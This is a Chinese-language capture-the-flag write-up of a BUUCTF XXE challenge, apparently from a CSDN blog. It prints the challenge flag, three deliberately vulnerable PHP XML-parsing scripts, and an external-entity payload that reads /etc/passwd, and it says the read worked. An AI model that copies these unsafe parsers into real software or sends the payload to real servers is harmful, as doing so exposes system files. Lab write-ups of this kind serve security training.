开启BUUCTF靶场,打开链接:
很明显是个phpinfo.php文件
直接Ctfl F搜索flag,发现还真有,尝试输入flag看看什么情况?
flag{cce98ec0-f1e6-416f-86d7-9b174202e678}
呃呃,还真是flag,不过还是换种思路来做吧
看到上面有个github的链接,点进去看看
发现是一段例子和介绍,将其复制到《XML基础知识之外部实体》一文中了
用burp进行抓包并发送到Repeater中
发现是个GET类型的
添加github网站中的示例payload并改成POST类型:
simplexml_load_string.php:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
成功读取到/etc/passwd文件内容
(注意:这里的POST的php文件名字必须是simplexml_load_string.php)
另外两个php文件内容及POST的文件名:
SimpleXMLElement.php:
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);
echo $xml->name;
dom.php:
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
用dirsearch扫一下敏感文件:
不知道得扫到猴年马月啊!将<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>改成"file:///phpinfo.php"也没显示出phpinfo.php文件内容,不知道怎么解决了
标签:文件,BUUCTF,string,phpinfo,flag,PHP,XXE,POST,php From: https://blog.csdn.net/weixin_73049307/article/details/142307691